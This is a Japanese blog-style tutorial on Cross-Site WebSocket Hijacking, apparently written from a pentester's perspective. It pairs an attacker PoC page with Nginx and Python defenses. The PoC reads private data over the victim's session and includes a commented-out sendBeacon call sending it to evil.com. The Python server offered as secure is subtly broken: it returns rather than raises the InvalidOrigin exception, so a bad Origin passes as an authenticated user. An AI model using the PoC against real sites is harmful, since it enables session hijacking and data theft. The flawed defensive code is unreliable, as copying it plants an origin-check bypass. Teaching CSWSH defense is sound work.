お疲れ。最近、APIのリアルタイム化やチャット機能、ダッシュボードのライブアップデートなんかでWebSocketを使う案件が急増しているよな。HTTPのオーバーヘッドを削減できるし、双方向通信の利便性は開発者にとってたまらない魅力だ。
だがな、ペネトレーションテストの現場にいると、このWebSocketが「セキュリティ上の巨大な死角」になっているケースがあまりにも多い。HTTPと同じノリで認証やオリジン検証をサボっているアプリケーションが、いまだに野放しにされているんだ。
今回は、実戦でレッドチームがどうやってWebSocketを踏み台にするか、そしてそれをどうやって完璧に封じ込めるのか、俺の経験を交えて徹底的に叩き込んでやる。手を動かして、今日の明日でプロダクションコードを修正してくれ。
—
1. なぜWebSocketは標的になるのか？（HTTPセッションとの決定的な違い）
多くのエンジニアが陥る罠が、「Cookieベースの認証が動いているからWebSocketも安全だろう」という思い込みだ。
確かに、ブラウザからWebSocketのハンドシェイク（接続要求）が飛ぶ際、通常のHTTPリクエストと同様にCookieが付与される。ここまではいい。問題は、「ハンドシェイクが完了した後のメッセージングフェーズ」だ。
HTTPであれば、リクエストごとにCSRFトークンや認証ヘッダーの検証をフレームワークが勝手にやってくれる（あるいは意識しやすい）。しかし、WebSocketは一度コネクションが確立されると、その後のメッセージのやり取りは単なるTCP上のストリーム（あるいはフレーム）になる。ここで適切なオリジン検証や、メッセージごとの認可チェックが抜けていると、どうなるか？
攻撃者は、被害者のブラウザを強制的に踏み台にして、内部ネットワークやセキュアなAPIセッションへ不正なコマンドを送り込むことができる。これが CSWSH（Cross-Site WebSocket Hijacking） だ。
—
2. 攻撃者の視点：CSWSHのメカニズムとPoCの現実
CSWSHの仕組みは単純だが極悪だ。
攻撃者は自身の管理する悪意あるWebサイト（例: https://evil.com）に被害者を誘導する。そのページ内から、ターゲットの社内システムや脆弱なWebアプリのWebSocketエンドポイント（例: wss://target-app.com/ws）へ接続を試みる。
ここで、ターゲットサーバー側が Origin ヘッダーを検証していなかった場合、どうなるか？
ブラウザは仕様通り、自動的にターゲットのセッションCookieを付与してハンドシェイクのリクエストを送信してしまう。サーバーは「お、認証済みユーザーからの接続だな」と勘違いしてコネクションを許可し、そこから機密データの窃取や、勝手なコマンド実行（チャットの乗っ取り、遠隔操作など）が成立してしまうのだ。
攻撃者のPoCコード（イメージ）
以下は、攻撃者が用意する悪意あるページのJavaScriptコードの抜粋だ。
// 攻撃者のドメイン（evil.com）からターゲットのWebSocketへ接続を試みる
// 被害者がターゲットアプリにログインしていれば、Cookieが自動送信される
const ws = new WebSocket('wss://target-app.com/ws');
ws.onopen = function(event) {
console.log('[+] CSWSH 接続成功。セッションを強奪しました。');
// サーバー側で認証チェックやメッセージの認可がない場合、任意のコマンドを送信可能
ws.send(JSON.stringify({
action: 'get_private_data'
}));
};
ws.onmessage = function(event) {
console.log('[+] 盗み出した機密データ:', event.data);
// 攻撃者のサーバーへデータを転送する処理へ流し込む
// navigator.sendBeacon('https://evil.com/log', event.data);
};見ての通り、攻撃者側で特別な脆弱性（XSSなど）を仕込む必要すらない。被害者が「うっかり悪踏みサイトを開いた」だけで、ブラウザが勝手にセッションを運んでいってくれる。これがWebSocketセキュリティの怖いところだ。
—
3. 徹底防御：セキュアなWebSocket実装の3大原則
この脅威を防ぐには、以下の3つのレイヤーで確実にガードを固める必要がある。
1. 厳格な Origin ヘッダーの検証（ハンドシェイク時）
2. トークンベースの認証の確実なハンドシェイク（Cookieにだけに頼らない）
3. メッセージペイロードのスキーマ検証と認可（メッセージ単位のバリデーション）
口で言うのは簡単だな。じゃあ、実際のコードでどう実装するかを見せよう。
—
実装サンプル 1: Nginx / リバースプロキシ層でのオリジンチェック
アプリケーションサーバーの手前にいるNginxなどのリバースプロキシで、怪しい Origin を弾くのが最初の防衛ラインだ。
server {
listen 443 ssl;
server_name target-app.com;
# SSL設定は省略...
location /ws {
# 1. 接続元（Origin）のホワイトリスト検証
# 自社ドメイン以外のOriginからのハンドシェイクをここで即座に拒否する
if ($http_origin != "https://target-app.com") {
return 403;
}
proxy_pass http://backend_websocket_servers;
proxy_http_version 1.1;
# WebSocketのアップグレードに必要なヘッダー設定
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
# バックエンドへ実際のクライアントIPやOriginを引き渡す
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}—
実装サンプル 2: バックエンド（Python / WebSocketsライブラリ）でのセキュアなハンドシェイクとメッセージ検証
次に、アプリケーションサーバー側の実装だ。ここではPythonの websockets ライブラリを例に取るが、Node.js (ws) でも Go でも思想は同じだ。
ハンドシェイク時に独自のトークン（Query Parameterやカスタムヘッダー）を要求し、さらにメッセージ受信時のバリデーションを徹底するサンプルを書いておく。
import asyncio
import json
import websockets
# 許可されたオリジンの定義（開発環境と本番環境で切り替えること）
ALLOWED_ORIGINS = {
"https://target-app.com",
"https://staging.target-app.com"
}
async def authenticate_connection(path, request_headers):
"""
接続時の認証とオリジン検証を行う関数
"""
# 1. Originヘッダーのチェック（CSWSH対策）
origin = request_headers.get("Origin")
if origin not in ALLOWED_ORIGINS:
print(f"[-] 不正なOriginからの接続試行を拒否: {origin}")
return websockets.exceptions.InvalidOrigin(origin)
# 2. クエリパラメータ等から認証トークンを取得して検証
# ※ Cookieに依存せず、ハンドシェイク時にセキュアなトークン（JWTや一時トークン）を渡させるのが安全
# 例: wss://target-app.com/ws?token=xxxxxx
query_string = path.split("?")[1] if "?" in path else ""
params = dict(param.split("=") for param in query_string.split("&") if "=" in param)
token = params.get("token")
user_id = verify_token_and_get_user(token)
if not user_id:
print("[-] 認証失敗: 無効なトークン")
return None # 接続拒否
return user_id
def verify_token_and_get_user(token):
# ダミーのトークン検証ロジック（実際にはJWTの署名検証やDB照会を行う）
if token == "valid-secret-session-token":
return "user_12345"
return None
async def handler(websocket, path):
# ハンドシェイク時の検証
# ※ websockets v10以降の server 構文に合わせたセキュアなルーティング設計
user_id = await authenticate_connection(path, websocket.request_headers)
if not user_id:
await websocket.close(code=4001, reason="Unauthorized")
return
print(f"[+] ユーザー {user_id} とのセキュアな接続が確立されました。")
try:
async for message in websocket:
# 3. メッセージ内容のバリデーション（インジェクションや不正操作の防止）
try:
data = json.loads(message)
except json.JSONDecodeError:
await websocket.send(json.dumps({"error": "Invalid JSON format"}))
continue
action = data.get("action")
# メッセージのスキーマチェックと認可
if action == "update_status":
status = data.get("status")
# 型チェックと許容値の厳密な検証
if not isinstance(status, str) or status not in ["online", "offline", "busy"]:
await websocket.send(json.dumps({"error": "Invalid status value"}))
continue
# 処理の実行
await process_status_update(user_id, status)
await websocket.send(json.dumps({"result": "success"}))
else:
await websocket.send(json.dumps({"error": "Unknown action"}))
except websockets.exceptions.ConnectionClosed as e:
print(f"[-] 接続が閉じられました: {e}")
async def process_status_update(user_id, status):
# 実際のビジネスロジック（DB更新など）
print(f"User {user_id} updated status to {status}")
# サーバーの起動
start_server = websockets.serve(handler, "0.0.0.0", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()—
4. チーフエンジニアからの実務アドバイス
いいか、現場でコードレビューをするときや設計を行うときは、次のチェックリストを必ず自分の目で確認しろ。
1. 「Cookieだけで認証していませんか？」
WebSocketの仕様上、ブラウザからの接続ではCookieが自動送信されるため、CSWSHの格好の餌食になる。可能な限り、ハンドシェイクのURLクエリや初期メッセージでCSRF耐性のある短期トークンをやり取りする設計に変えろ。
2. 「Originヘッダーを * やスルーにしていませんライブラリのデフォルトに頼っていませんか？」
フレームワークによっては、デフォルトで Origin の検証を厳しく行っていないものがある。必ず明示的に自社ドメインのホワイトリストをコードまたはリバースプロキシ（Nginx等）で強制すること。
3. 「メッセージをJSON.parseしただけで信用していません？」
WebSocket経由で飛んでくるJSONは、HTTPのPOSTリクエストと同じだ。型チェック、必須パラメータの有無、そして「そのユーザーがそのアクションを実行する権限を持っているか（BOLA / IDOR対策）」を、メッセージ受信のたびに必ずコードで担保しろ。
リアルタイム通信はアプリをリッチにするが、設計を誤れば社内システムや顧客データを外に丸裸にする一番の近道になる。
「動けばいい」ではなく、「攻撃者の視点でも隙がないか」を常に意識してコードを書くこと。頼んだぞ。
コメント